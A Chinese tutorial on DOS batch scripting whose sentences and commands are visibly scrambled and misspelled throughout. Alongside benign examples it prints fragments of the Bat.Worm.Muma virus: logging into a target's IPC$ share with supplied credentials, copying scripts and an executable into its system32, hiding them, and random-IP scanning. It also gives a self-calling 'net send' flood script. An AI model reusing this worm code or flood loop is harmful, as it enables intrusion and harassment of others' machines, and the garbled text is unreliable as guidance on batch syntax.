天天看點

經典批處理教程

資料将寫入規範輸出。指定輸出檔案比将同一檔案作為規範輸出重定向速度快指定要存儲排序後的輸入的檔案。如果沒有指定。!

真心誠意會用很簡單的文字表達清楚自己的意思, 這是一篇技術教程。隻要你識字就能看懂,就能學到知識。寫這篇教程的目的讓每一個看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那麼就讓它簡單吧!看這篇教程的方法,就是慢!慢慢的如同品一個女人、一杯茗茶,會發現很多以前就在眼前的東西突然變的很遙遠,而有些很遙遠的東西卻又突然回到眼前。至今我也沒能給出一個合适的----衆多高手們也都沒給出----反正我不知道----看了也不一定信服----個菜鳥, 先概述一下批處理是個什麼東東。批處理的定義。當然就更不用說了但我想總結出一個"比較合适的"而且我也相信自己可以把它解釋的很清楚,讓更多的菜鳥都知道這是個什麼東東,用這個東東可以幹什麼事情。或許你會因為這篇文章而"無條件愛上批處理"那麼我目的就達到----就是要讓你愛上它就這麼拽,能怎麼着?真的愛有時候就這麼拽,就是這麼沒理由,就是這麼不要臉!真的

批處理的實質,依照我了解。一堆DOS指令按一定順序排列而形成的集合。

也稱為批處理腳本,英文譯為BA TCH批處置檔案字尾BA T就取的前三個字母。構成沒有固定格式,隻要遵守以下這條就ok每一行可視為一個指令,每個指令裡可以含多條子指令,從第一行開始執行,直到最後一行結束,運作的平台是DOS批處置有一個很鮮明的特點:使用友善、靈活,功能強大,自動化水準高。不想讓自己寫的教程枯燥無味,因為牽纏到代碼(批處理的内容算是代碼吧?問題原本就是枯燥的很少有人能面對滿螢幕的代碼而靜下心來。是以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎麼又是愛?底批處置和愛有什麼關系?答案:沒有!再說句"閑話"要學好批處理,DOS基礎一定要牢!當然腦子靈活也是很重要的一方面。 OK,neverclaverandgettobusi閑話少說言歸正傳)批處理。

将下面的幾行指令保管為name.bat然後執行(以後文中隻給出代碼, 例一、先給出一個最easi批處置腳本讓大家和它混個臉熟。保管和執行方式類似)

pingsz.tencent.com>a.txt

psz1.tencent.com>>a.txt

psz2.tencent.com>>a.txt

psz3.tencent.com>>a.txt

psz4.tencent.com>>a.txt

psz5.tencent.com>>a.txt

psz6.tencent.com>>a.txt

psz7.tencent.com>>a.txt

exit

可以在目前盤建立一個名為a.txt檔案, 不是都能看的懂?不是很easi但它作用卻是很實用的執行這個批處理後。裡面記錄的資訊可以協助你迅速找到速度最快的QQ伺服器,進而遠離"從伺服器中轉"那一痛苦的過程。這裡>意思,把前面指令得到東西放到後面所給的地方,>>作用,和>相同,差別是把結果追加到前一行得出的結果的後面,具體的說是下一行,而前面一行指令得出的結果将保留,這樣可以使這個a.txt檔案越來越大(想到如何搞破壞了Bythewai這個批處置還可以和其他指令結合,搞成完全自動化判斷伺服器速度的東東,執行後直接顯示速度最快的伺服器IP不是很爽?後面還将詳細介紹。

例二、再給出一個已經過時的例子(a.bat

@echooff

ifexistC:\Progra~1\Tencent\A D\*.gifdelC:\Progra~1\Tencent\A D\*.gif

a.bat

因為現在已經幾乎沒有人用帶廣告的QQKA OQQ還顯示好友三圍呢!是以它幾乎用不上了但曾經它作用是不可小窺的删除QQ廣告, 為什麼說這是個過時的例子呢?很簡單。讓對話框幹幹淨淨。這裡用的位址是QQ預設裝置位址,預設批處置檔案名為a.bat當然可以根據情況自行修改。這個腳本中使用了if指令,使得它可以達到适時判斷和删除廣告圖檔的效果,隻需要不關閉指令執行後的DOS視窗,不按CPL+C強行終止指令,就一直監視是否有廣告圖檔(QQ也再不斷檢視自己的廣告是否被删除)當然這個腳本占用你一點點記憶體,呵呵。

使用批處置腳本查是否中冰河。腳本内容如下:例三。

netstat-a-n>a.txt

typa.txt|find"7626"&&echo"Congratulations!YouhaveinfectGLA CIER!"

dela.txt

paus&exit

檢查所有的網絡端口狀态, 這裡利用了netstat指令。隻需要你清楚罕見木馬所使用的端口,就能很easi判斷進去是否被人種了冰河。然這不是确定的因為冰河預設的端口7626完全可以被人修改。這裡介紹的隻是方法和思路。這裡介紹的方法和思路稍做改動,就變成可以檢查其他木馬的腳本了再改動一下,加進去參數和端口及資訊清單檔案後,就變成自動檢測所有木馬的腳本了呵呵,不是很過瘾?腳本中還利用了組合指令&&和管道指令|後面将詳細介紹。

借批處置自動清除系統垃圾,例四。腳本如下:

ifexistc:\windows\temp\*.*delc:\windows\temp\*.*

ifexistc:\windows\Tempor~1\*.*delc:\windows\Tempor~1\*.*

ifexistc:\windows\History\*.*delc:\windows\History\*.*

ifexistc:\windows\recent\*.*delc:\windows\recent\*.*

每次開機時就把系統垃圾給自動删除了這裡需要注意兩點:一、DOS不支援長檔案名, 将以上腳本内容保管到autoexec.bat裡。是以就出現了Tempor~1這個東東;二、可根據自己的實際情況進行改動,使其符合自己的要求。怎麼樣,看到這裡,對批處理腳本是不是已經有點興趣了不是發現自己已經慢慢愛上了這個東東?别高興的太早,愛不是一件簡單的事,也許能帶給你快樂和幸福,當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續的話,I服了YOU繼續努力吧,也許到最後你不一定得到真愛(真的有這可能,愛過的人都知道)但你可以體會到整個愛的過程,就是如此。酸、苦和辣,有沒有甜天知道。為什麼會把批處置和愛情扯上關系?不是無聊,也不是因為這樣寫有趣多少,原因有二:其一,批處置和愛情有很多相同的地方,有些地方我用"專業"行話解釋不清(不懷疑自己的表達能力,而是事情自身就不好說清楚)說了=沒說,但用地球人都知道的愛情一比喻(愛情是什麼?**怎麼知道!沒準你心裡一下就亮堂了事半功倍,何樂而不為?其二,這段時間狀态不是很好,感冒發燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了借寫教程之際感慨幾句,大家就全當買狗皮膏藥了完全可以省略不看(也許還真有點效果----不至于讓你看着看着就睡着了把頭磕了來找我報帳醫藥費)說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們

一定對批處理有了初步的印象, 看過第一章的朋友。知道它底是用來幹什麼的但你知道運用批處理的精髓在哪裡嗎?其實很簡單:思路要靈活!沒有做不到隻有想不到這和愛情就有點不同了因為愛情的世界是兩個人的世界,一廂情願不叫愛情(補充:那叫單戀。廢話!而批處理卻是一個人的天堂,可以為所欲為,沒有達不到境界!

但它邏輯性之強, 批處置看起來雜亂無章。絕對不比其他順序語言(如彙編)低,如果你寫的腳本是一堆亂麻,雖然每一行指令都正确,但從頭執行到尾後,不一定得到想要的結果,也許是一螢幕的Badcommandorfailname這又和愛情有了共同點:按方法來經營,缺少或增多的方法都可能導緻不想看見的結果。陷入愛河的朋友,相信沒有不肯定這句話的愛情批處理,輸出的結果不是Badcommandorfailname螢幕是這麼顯示的愛情'不是内部或外部指令,也不是可運作的順序或批處理檔案。然後就是光标不停閃動,等待這下一次錯誤的輸入。

将由淺入深的介紹批處置中常用的指令, 從這一章開始。很多罕見DOS指令在批處置腳本中有這廣泛的應用,批處理腳本的BODY局部,但批處理比DOS更靈活多樣,更具備自動化。要學好批處理,DOS一定要有比較紮實的基礎。這裡隻講述一些比較少用(相對來說)DOS指令,常用指令如COPYDIR等就不做介紹了這些看似簡單的指令實際複雜的很,怕自己都說不清楚!

先看一個執行個體。這是一個很有意思的腳本,例五。一個小巧實用的好東東,把批處理"自動化"特點展現的淋漓盡緻。先介紹一下這個腳本的來曆:大家都知道彙編順序(MA SM上機過程,先要對源代碼進行彙編、連接配接,然後再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(隻有經曆過的朋友才懂得)如何使這個過程變的簡單呢?搞彙編課程設計時,"被逼"寫了這個腳本,用起來很爽,呵呵。看看腳本

内容:

::closecho

cls

::cleanscreen

echoThiprogrammistomaketheMA SMprogrammautomate

::displaiinfo

echoEditbyCODERED

echoMailtome:qqkiller***@sina.com

if"%1"==""gotousage

::ifinputwithoutparamatgotousage

if"%1"=="/?"gotousage

::ifparamatis"/?"gotousage

if"%1"=="help"gotousage

::ifparamatis"help"gotousage

pause

::paustoseeusage

masm%1.asm

::assemblthe.asmcode

iferrorlevel1paus&edit%1.asm

::iferrorpaustoseeerrormsgandeditthecode

link%1.obj&%1

::elslinkthe.objfileandexecutthe.exfile

:usage

::setusage

echoUsage:ThiBA Tfilename[asmfilename]

echoDefaultBA TfilenameisSTA RT.BA T

::displaiusage

兩個冒号後面的内容為前一行内容解釋的E文(害怕E文的朋友也不用擔心, 先不要被這一堆的東西給吓怕了靜下心來仔細的看(回想一下第一章中第一段是怎麼寫的已經給出了每一行指令的解釋。都很easi一看就懂了實在不懂了不會查詞典啊,這麼懶?腳本執行時不顯示,也不起任何作用。倒數第5行行首有一個冒号,可不是筆誤哦!具體作用後面會詳細講到此腳本中masm和link彙編順序和連接配接程式,必需和edit順序以及你要編輯的源代碼(當然還有這個腳本,廢話!一起在目前目錄中。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中隻需要按幾下Enter鍵,即可實作從彙編源代碼到可執行ex檔案的自動化轉換,并具備智能判斷功能:如果彙編時源代碼出現錯誤(彙編不成功)則自動暫停顯示錯誤資訊,并在按任意鍵後自動進入編輯源代碼界面;如果源代碼彙編勝利,則進行連接配接,并在連接配接後自動執行生成的ex檔案。另外,由于批處理指令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學彙編的朋友,一定别忘了實習一下!

這個腳本中出現了如下幾個指令:@echo::paus:和goto%以及if而這一章就将講述這幾個指令。

1@

email必備符号, 這個符号大家都不陌生。怎麼會跑到批進行中呢?呵呵,不是錯,批處置原本就離不開它要不就不完美了作用是讓執行視窗中不顯示它後面這一行的指令自身(多麼繞口的一句話!呵呵,通俗一點說,行首有了話,這一行的指令就不顯示了例五中,首行的@echooff中,@作用就是讓腳本在執行時不顯示後面的echooff局部。這下懂了吧?還是不太懂?沒關系,看完echo指令簡介,自然就懂了

2echo

就是說它隻有兩種狀态:打開和關閉。于是就有了echoon和echooff兩個指令了 中文為"回報""回顯"意思。其實是一個開關指令。

後面的所有指令都不顯示指令自身, 直接執行echo指令将顯示目前echo指令狀态(off或on執行echooff将關閉回顯。隻顯示執行後的結果,除非執行echoon指令。例五中,首行的@指令和echooff指令聯合起來,達到兩個目的不顯示echooff指令自身,不顯示以後各行中的指令自身。确是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢!

echo指令的另一種用法

DefaultBA TfilenameisSTA RT.BA T将在腳本執行後的視窗中顯一:可以用它來顯示資訊!如例五中倒數第二行。

而echo指令自身不顯示(為什麼?示。

二:可以直接編輯文本檔案。例六:

echonbtstat-A 192.168.0.1>a.bat

echonbtstat-A 192.168.0.2>>a.bat

echonbtstat-A 192.168.0.3>>a.bat

每行一回車。最後就會在目前目錄下生成一個a.bat檔案,以上腳本内容的編輯方法是直接是指令行輸入。直接執行就會得到結果。

3::

注釋指令, 這個指令的作用很簡單。批處置腳本中和rem指令等效。後面的内容在執行時不顯示,也不起任何作用,因為它隻是注釋,隻是增加了腳本的可讀性,和C語言中的類似。地球人都能看懂,就不多說了

4pause

單純、實用。作用, 中文為"暫停"意思(看看你workman上)一直認為它批處置中最簡單的一個指令。讓目前順序程序暫停一下,并顯示一行資訊:請按任意鍵繼續...例五中這個指令運用了兩次,第一次的作用是讓使用者看清楚順序資訊,第二個是顯示錯誤的彙編代碼資訊(其實不是想顯示,而是masm順序在顯示錯誤資訊時被暫它停了以便讓你看清楚你源代碼錯在哪裡)

5:和goto

:一個标簽。當程式運作到goto時, 為什麼要把這兩個指令聯合起來介紹?因為它分不開的無論少了哪個或多了哪個都會出錯。goto個跳轉指令。将自動跳轉到:定義的局部去執行了不是分不開?例五中倒數第5行行首出現一個:則程式在運作到goto時就自動跳轉到:标簽定義的局部執行,結果是顯示腳本usagusag就是标簽名稱)不難看出,goto指令就是根據這個冒号和标簽名稱來尋找它該跳轉的地方,一一對應的關系。goto指令也經常和if指令結合使用。至于這兩個指令具體用法,參照例五。

而這一标簽的内容卻定義為退出。如:goto指令的另一種用法一:提前結束順序。順序中間使用goto指令跳轉到某一标簽。

......

gotoend

:end

後面講了if指令群組合指令你就知道了這裡:end腳本最後一行!其實這個例子很弱智。

6%

以後還将詳細介紹)但千萬别以為它隻是參數就小看了看看例五中有多少地方用到少了批處理的功能就減少了51%看看例七: 這個百分号嚴格來說是算不上指令的隻是批進行中的參數而已(多個%一起使用的情況除外。

netus\\%1\ipc$%3/u:"%2"

copi11.BA T\\%1\admin$\system32/y

copi13.BA T\\%1\admin$\system32/y

copiipc2.BA T\\%1\admin$\system32/y

copiNWZI.EXE\\%1\admin$\system32/y

attrib\\%1\admin$\system32.bat-r-h-s

%1代表的IP2%代表的usernam3%代表password執行形式為:腳本檔案名參數一 參數二 ......假設這個腳本被儲存為a.bat則執行形式如下:aIPusernampassword這裡IPusernampassword三個參數, 以上代碼是Bat.Worm.Muma病毒中的一部分。缺一不可(因為順序不能正确運作,并不是因為少了參數文法就不對)這樣在腳本執行過程中,腳本就自動用用你三個參數依次(記住,依次!也是一一對應的關系。代換1%2%和3%這樣就達到靈活運用的目的試想,如果在腳本中直接把IPusernam和password都定義死,那麼腳本的作用也就被固定了但如果使用%話,不同的參數可以達到不同的目的不是更靈活?

後續章節中還将介紹。一定要非常熟練才行, 關于這個參數的使用。這需要很多練習過程,需要下點狠工夫!

不是忘了而是不容易說清楚, 這一章就寫到這裡了可能有朋友問了怎麼沒介紹if指令?呵呵。下一章再講了這一章講的這點東西,如果你初學者,恐怕也夠消化的記住一句話:DOS批處理的BODY任何一個DOS指令都可以被用在批處置腳本中去完成特定的功能。這裡,否已經想到用自己肚子裡的東西去寫點帶有自動化色彩的東東呢?很簡單,就是一個DOS指令的集合而已,相信自稱為天才的已經會把計算機等級考試上機試題中的DOS局部用批處置來自動化完成了

什麼事都想唠叨幾句, 煩!就好象一個半老女人到更年期。什麼事都感到不舒服,看誰誰不爽。明知山有虎,偏向虎山行,最後留下一身傷痕無功而返時,才發現自己竟然如此脆弱,如此渺小,如此不堪一擊。徘徊在解體的邊緣,突然回想起了自己最後一次扁人的那一刻,還真有點懷念(其實我很不喜歡扁人,更不喜歡被人扁)需要發洩,用手指拼命的敲打着鍵盤,一陣接一陣有節奏的聲音中,螢幕上出現了上面的這些文字。可難道這就是發洩的另一種方式嗎?中國人還是厲害,早在幾千年前孔老夫子就說過"唯女子與小人,難養也"真**有先見之明,佩服!

不過大家請放心, 雖然是發洩。以我脾氣,既然決定寫這篇教程,就一定會盡力去寫好,寫完美,絕對不給自己留下遺憾,要不這教程就不是寫的

沒有保管, 曾經有一篇經典的批處置教程呈現在螢幕上。直到找不到連結你才後悔莫及,人世間最大的痛苦莫過于此。如果上天能給你一個再看一次的機會,會對那篇教程說三個字:愛你如果非要給這份愛加上一個期限,希望是100年。因為100年後,恐怕早已經挂了而現在螢幕上出現了這篇你正在看的批處理教程,雖然不如你曾經看的那篇經典,但如果勉強還過的去。會愛它嗎?時間會有50年那麼長嗎?答案是試試看吧。

将在這一章詳細介紹, 批處置腳本中最重要的幾個指令。但是很遺憾,有些細節到現在都沒掌握的很好,甚至還有些生分。如同還不太懂得愛一樣。但我一直都在努力,即使一直都沒有收獲。是以可能講的會比較籠統,但我會告訴你方法,剩下的就是時間問題了需要自己去磨練。讓我共同努力吧。冰凍三尺非一日之寒,滴水穿石非一日之功。有些事情,比如學批處理,比如愛一個人,都是不能速成的甚至還會有付出艱辛而收獲為甚微的情況。再次重申,看這篇教程的時候,一定要靜下心來,除非你已經掌握了這篇教程的所有東西----但那也就不必看了浪費時間!

7if

接着講if指令。總的來說, 接上一章。if指令是一個表示判斷的指令,根據得出的每一個結果,都可以對應一個相應的操作。關于它三種用法,這裡分開講。

1輸入判斷。還是用例五裡面的那幾句吧:

如果參數為空(無參數)則跳轉到usag如果參數為/?或help時(大家一般看一個指令的協助, 這裡判斷輸入的參數情況。不是輸入的/?或help呢,這裡這麼做隻是為了讓這個腳本看起來更像一個真正的順序)也跳轉到usag這裡還可以用否定形式來表示"不等于"例如:ifnot"%1"==""gotousag則表示如果輸入參數不為空就跳轉到usag實際中這樣做就沒意義了這裡介紹用法,管不了那麼多了呵呵。不是很簡單?其實翻譯成中文體會一下就understand

2存在判斷。再看例二裡這句:

就删除這些檔案。當然還有例四, 如果存在那些gif檔案。都是一樣的道理。注意,這裡的條件判斷是判斷存在當然也可以判斷不存在例如下面這句"如果不存在那些gif檔案則退出腳本"ifnotexistC:\Progra~1\Tencent\A D\*.gifexit隻是多一個not來表示否定而已。

竟然用處這麼大,3結果判斷。還是拿例五開刀(沒想到自己寫的腳本。呵呵)

link%1.obj

如果失敗則暫停顯示錯誤資訊, 先對源代碼進行彙編。并在按任意鍵後自動進入編輯界面;否則用link順序連接配接生成的obj檔案。這裡隻介紹一下和if指令有關的地方,&指令後面會講到這種用法是先判斷前一個指令執行後的傳回碼(也叫錯誤碼,DOS順序在運作完後都有傳回碼)如果和定義的錯誤碼符合(這裡定義的錯誤碼為1則執行相應的操作(這裡相應的操作為paus&edit%1.asm局部)

和其他兩種用法一樣,另外。這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變為:

ifnoterrorlevel1link%1.obj

paus&edit%1.asm

"ifnoterrorlevel1"和"iferrorlevel0"效果是等效的都表示上一句masm指令執行勝利(因為它錯誤判斷, 看到實質了吧?其實隻是把結果判斷後所執行的指令互換了一下。而且傳回碼為00就表示否定,就是說這個錯誤不存在就是說masm執行勝利)這裡是否加not錯誤碼到底用0還是1值得考慮的兩個問題,一旦搭配不成功腳本就肯定出錯,是以一定要體會的很深刻才行。如何體會的深刻?練習!自己寫一個腳本,然後把有not和沒有not情況,傳回碼為0或1情況分别寫進去執行(怎麼,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了

後面介紹管道指令群組合指令時還有更麻煩的呢!怕了呵呵。這樣從執行的結果中就能很清楚的看出這兩種情況的差別。

但也恰恰是最有用的用法,這種用errorlevel結果判斷的用法是if指令最難的用法。如果你不會用errorlevel來判斷傳回碼,則要達到相同的效果,必需用els來表示"否則"操作,比較麻煩的以上代碼必需變成:

ifexist%1.objlink%1.obj

elspaus&edit%1.asm

了解很簡單, 關于if指令的這三種用法就sai這裡。但應用時就不一定用的那麼得心應手,主要是熟練水準的問題。可能有的朋友有點驚訝,怎麼沒給出類似下面三行的用法介紹,因為下面三行是if指令協助裡對它自身用法的解釋,任何人隻要一個"if/?"就能看到沒有必要在這裡多費口舌;更重要的原因,覺得這樣介紹的不清楚,看的人不一定看的懂,是以我采用上面自己對if指令的了解來介紹。一定要注意的這三種用法的格式各不相同,而且也是不能改變的但實際上可以互換(以為從本質上講,這三種用法都是建立在判斷的基礎上的哲學教我學會透過現象看事物本質!有興趣的朋友可以自己研究一下。

IF[NOT]ERRORLEVELnumberdocommand

IF[NOT]string1==string2docommand

IF[NOT]EXISTfilenamdocommand

8call

肯定都知道call指令表示什麼意思了這裡它意思其實也是一樣的批處置腳本中, 學過彙編或C朋友。call指令用來從一個批處置腳本中調用另一個批處理腳本。看例八(預設的三個腳本檔案名分别為start.bat10.bat和ipc.bat

start.bat

CA LL10.BA T0

10.bat

ECHO%IPA %.%1>HFIND.TMP

CA LLipc.batIPCFind.txt

ipc.bat

2,for/f"tokens=1.3delims="%%iin%1docallHA CK.bat%%i%%j%%k

怎麼看的進去!從上面兩個腳本, 有沒有看出什麼不對的地方?沒看出來啊?沒看出來就對了其實就沒有不對的地方嘛。可以得到如下資訊:

循環運用、重複運用。1腳本調用可以靈活運用。

2腳本調用可以使用參數!

這裡說一下第二點。 關于第一點就不多說了聰明的一看就應該會。

10.bat後面跟了參數0執行時的效果, start.bat中。其實就是把10.bat裡的參數%1用0代替。start.bat中,ipc.bat後面跟了參數ipcfind.txt一個檔案,也可以做參數)執行時的效果,就是用ipc.bat中的每一行的三個變量(這裡不懂沒關系,學過for指令後就懂了對應代換ipc.bat中的%%i%%j和%%k這裡參數調用是非常靈活的使用時需要好好體會。初學期間,可以先學習隻調用腳本,至于連腳本的參數一起使用的情況,後面的學習中自然就會有比較深刻的了解,這是因為當你已經可以靈活運用批處置腳本後,如何使代碼寫的更精簡更完美更高效就自然包括到考慮的範圍,這時候你就會發現在調用腳本時直接加入參數,可以使代碼效率加倍。Bythewai上面的這幾個腳本,都是Bat.Worm.Muma病毒的一部分,後面的教程裡,大家将有機會見到這個病毒的真面目。

同一個目錄下至少存在兩個批處置腳本檔案(隻有一個你調用誰?呵呵,那是不是說。注意了這句話錯了隻有一個照樣可以調用----調用自身!看例九(預設腳本檔案名a.bat

netsend%1Thiisacallexample.

cala.bat

效果自然不怎麼樣, 這兩句一結合。因為隻有一台機器來發消息,誰怕誰啊?給你來個禮尚往來!可如果有100台機器同時執行,而且每台機器開10和視窗同時向一個目标機器發消息的話,呵呵。這裡calla.bat作用就是調用自身,執行完前一句netsend指令後再調用自身,達到循環執行的目的

有興趣的朋友可以實驗一下。例十(預設腳本檔案名為a.bat 給出一個很有意思的腳本。

calla.bat

否則隻會看到一個視窗一閃而過, 一定要在DOS視窗下執行。看不到最後結果。等執行完後,當腳本被執行了1260次,别忘了想一下到底是為什麼!愛情有時候跟這個腳本一樣,一旦陷入死循環,最後的結果都是意想不到隻是愛情,絕對不會等到被毫無理由的循環這麼多次,也許在第三次時就出現了loveisabort提示。

9find

用來在檔案中搜尋特定字元串, 這是一個搜尋指令。通常也作為條件判斷的鋪墊順序(怎麼突然想起了這四個字?這個指令單獨使用的情況在批進行中是比較少見的因為沒什麼實際意義。還是借例三來說明:

并把結果儲存到a.txt中。然後使用type指令列出a.txt中的内容, 先用netstat指令檢查是否有冰河預設的端口7626活動。再在列出的内容中搜尋字元串"7626"發現有的話則提示中了冰河,否則退出。看,find指令其實就這麼簡單,但有一點必需要注意到如果不使用type指令列出a.txt中的内容,而是直接使用find指令在a.txt中找"7626"finda.txt"7626"&&echo"Congratulations!YouhaveinfectGLA CIER!"就必需得給出這個a.txt絕對路徑(試過了find并沒有預設路徑就是目前路徑的功能,必需手動指定。也許是錯了歡迎指正)因為在find指令的協助裡有這麼一句話:如果沒有指定路徑,find将搜尋鍵入的或者由另一個指令産生的文字。這裡的"另一個指令"自然就指的type指令了

有興趣的朋友自己去研究吧, 至于find指令的其他幾個參數如vni等。這已經屬于DOS學習的内容了這裡就不做介紹。關于find指令和其他指令的一些更精妙的用法(有些簡直令人叫絕)後續的教程中将介紹,希望關注。

10forsetshift

恐怕誰也想不到很簡單的一句話:其實我也不太懂!對于這兩個指令, 為什麼把這三個指令放到一起來講?原因除了說明外。從研究Bat.Worm.Muma病毒開始學習的時間過去了不少,但還是沒完全搞明白,怕講進去連自己都看不懂,更怕不小心講錯了成了罪人。是以我給出一個腳本去告訴你如何讓這兩個指令給自己留一個初步的印象,其實也就是這兩個指令的入門,而并不是說如何領會這兩個指令。因為要領會如此精妙的兩個指令(特别是for談何容易!也許你會表揚我說我老實、不懂就不懂;也許你會罵我讓我既然不懂就趕緊滾蛋,不要在這裡丢人顯眼;也許你還會說一些别的這樣那樣好聽或不好聽的話,都随便你即使我不同意你說的話,也會誓死捍衛你說話的權利。看例十一:

for/?>for.txt

set/?>set.txt

shift/?>shift.txt

裡面分别記錄了for指令、set指令和shift指令的協助資訊。地球人都能看懂, 執行後在目前路徑下就生成for.txtset.txt和shift.txt三個檔案。就不多說了網上曾經找了很長時間這三個指令的教程,但都不理想,基本都是照搬的協助資訊。想在自己完全掌握了這兩個指令後,一定要寫一篇用自己的文字總結進去的forset和shift教程(關于shift指令,後面介紹批處理的參數時還将涉及到一定會的這是心願之一!需要注意的一點是這三個指令的協助裡,介紹的都比較死闆,雖然也舉了一些例子,但這是遠遠不夠的要掌握這兩個指令,最需要的就是耐心!沒寫錯,就是耐心。光是認真看完它協助文字就已經需要足夠的耐心了要進一步練習領會這兩個指令,難道不需要更大的耐心?實戰練習的機會我會留給你關鍵還是那句話,看你有沒有耐心去研究了看看例十二:

STA RT.BA T

CA LLMUMA .BA T

SETIPA =192.168

:NEA RA GA IN

netstat-n|find":">A .TMP

8,FOR/F"tokens=7.9,10,12delims=.:"%%IINA.TMPDOSETNUM1=%%I&&SETNUM2=%%J&&SETNUM3=%%

K&&SETNUM4=%%L&&SETNUM5=%%M&&CA LLNEA R.BA T

:STA RT

CA LLRA NDOM.BA T

IF"%NUM1%"=="255"GOTONEA RA GA IN

IF"%NUM1%"=="192"GOTONEA RA GA IN

IF"%NUM1%"=="127"GOTONEA RA GA IN

IF"%NUM2%"=="255"GOTONEA RA GA IN

IF"%NUM3%"=="255"GOTONEA RA GA IN

IF"%NUM4%"=="255"GOTONEA RA GA IN

SETIPA =%NUM1%.%NUM2%

ECHOSTA RT>A.LOG

PING%IPA %.%NUM3%.1>B.TMP

PING%IPA %.%NUM3%.%NUM4%>>B.TMP

FIND/C/I"from"B.TMP

IFERRORLEVEL1GOTOSTA RT

CA LL10.BA T%NUM3%

DELA.LOG

GOTOSTA RT

設定了病毒運作的環境變量。不是看的頭都大了又忘了寫在第一章第一段的那句話(靜下心來!應該能體會到學習這兩個指令所需要的耐心了吧。就如同去愛一個人, 這是Bat.Worm.Muma病毒的起始腳本。得學會寬容,打不得罵不得,用你寬大的胸懷去包容她一切,即使你發現愛她過程如看上面代碼的過程一樣讓你頭大,但你還是得愛下去----愛需要理由嗎?不需要嗎?需要嗎?不需要嗎......等到風平浪靜後,最直覺的收獲就是耐心變的前所未有的充分,面對她複雜和善變,自己會處變不驚,以自己的方式去冷靜應付曾經應付不了局面,即使到最後一身傷痕,也會感慨曾經的舉動有多麼偉大。

這就是批處理的魅力, 沒錯。這就是愛的魅力。讓你受了傷還感謝傷你人。

各種DOS指令是批處理的BODY實在找不出一個更合适的詞來形容他之間的關系)學好DOS指令是學好批處理的前提。其他DOS指令如copidirdeltypepathbreakstart等内部指令, 不得不再次重申一遍。以及pingnetcmdatsortattribfcfind等外部指令,批處理裡的應用非常廣泛。這篇教程的作用,教你認識批處理,以及如何利用DOS指令組合進去一個完美的批處理腳本,去讓它自動完成你想要它做的事情。而靈活自如的編輯一個批處理腳本是建立在熟練掌握DOS指令的基礎上的這已經超出了本文的範疇,此就不贅述了

可這并不妨礙我喜歡音樂, 不知不覺中第三章已經結束了耳麥裡傳來的依然是陳曉東的比我幸福》每隔4分32秒就自動重播。雖然我不并不很喜歡陳曉東。喜歡這首描寫的如此讓人感慨的歌。請你一定要比我幸福/才不枉費我狼狽退出/再痛也不說苦/愛不用負疚來彌補/至少我能成全你追逐/請記得你要比我幸福/才值得我對自己殘酷/默默的倒數/最後再把你看清楚/看你眼裡的好馍糊/慢慢被放逐。如同一個因年老失色而拉不到客的老×××,絕望的徘徊在曾經輝煌的×××,用一臉的木然瞟一眼來來去去的人群,默默的回憶自己并不光彩的過去,幻想自己将要面對的未來。直到看見那些幸福依偎在一起的情侶們才突然間發現上帝的公平,和這種公平的殘暴。

批處置腳本中最重要的幾個指令我都沒有給出如echo或if那樣比較詳細的介紹, 可以說。原因我已經說了因為我也是個菜,也不太懂----但我正在學!呢?今天又去了一趟圖書館,淘金一樣發現了一本叫《DOS批檔案》東東,藏在一個角落裡落滿了灰,五本摞一起就跟磚頭一樣厚了大概翻了一下,裡面介紹了很多比較底層和基礎的東西,雖然從思路上講,已經有點timeout很多東西已經基本沒有利用的價值(這就是資訊時代的更新速度)但還是很值得看的于是打算下午淘過來,放假回去了再好好研究一番,連同那幾個不熟悉的指令一起搞熟了再續寫這篇教程。始終堅信,沒有最好隻有更好。

等到下午再去的時候, 但是很可惜。圖書館樓梯口已經立了一個牌子,上面寫着outofservice----人家這學期的工作結束了于是回到宿舍打算繼續寫第四章,正在這時又得到一個"振奮人心"消息:期末考試有一科挂了而且是全班第一----這一門整個班裡就挂了一個。郁悶的情緒刹那間湧上心頭,整個世界仿佛都變成黑的食堂和小賣部已經陸續關門,學校裡的人越來越少,迎面過來的幾個同學也都一身行李,忙碌着準備回家過年,内心的孤寂和失落如同夏日裡暴雨前的烏雲,迅速而不可抗拒的占領了心裡每一個角落。迎着一月的冷風我一個人在天橋上發呆,還能怎麼樣,連期末考試都應付不了失敗男人。

呵呵, "課間休息"時間好象長了點。上課了從這一章開始,将詳細介紹批處置中常用的幾個組合指令和管道指令。這些指令雖然不是必需的如同愛一個人時不一定非得每天去陪,但如果少了這個過程,事情就會變的複雜而不完美,是以我認為管道指令群組合指令是批處理的調味劑,幾乎是少不了

下面從管道指令講起。常用的管道指令有以下這些:|>>>

11|

經常操作DOS朋友都應該知道, 這個指令恐怕大家不是很陌生。當我檢查一個指令的協助時,如果協助資訊比較長,一螢幕顯示不完時DOS并不給我時間讓我看完一螢幕再翻到另一螢幕,而是直接顯示到協助資訊的最後。如在提示符下輸入help回車時,就會看到目前DOS版本所支援的所有非隐含指令,但你隻能看到最後的那些指令,前面的早就一閃而過了如何解決這個問題?看例十三:

help|more

等候繼續顯示其他資訊。當按寫回車時, 回車後會發現顯示滿一螢幕後就自動暫停。變成一個一個的呈現;按下空格鍵時一螢幕一螢幕顯示,直到

全部顯示完為止;按其他鍵自動停止傳回DOS

這裡結合了管道指令|和DOS指令more來共同達到目的這裡先簡單介紹一下help指令和more指令, 為什麼會出現上述現象?答案很簡單。對了解|指令的用法有很大幫助。

直接在DOS提示符下輸入help指令,11.1help指令。其實這個指令是不需要多說的但在上述例子中help指令的用法比較特殊。結果是讓DOS顯示其所支援的所有非隐含指令,而在其他地方用help指令,如輸入nethelp回車,則是顯示net指令的協助資訊。

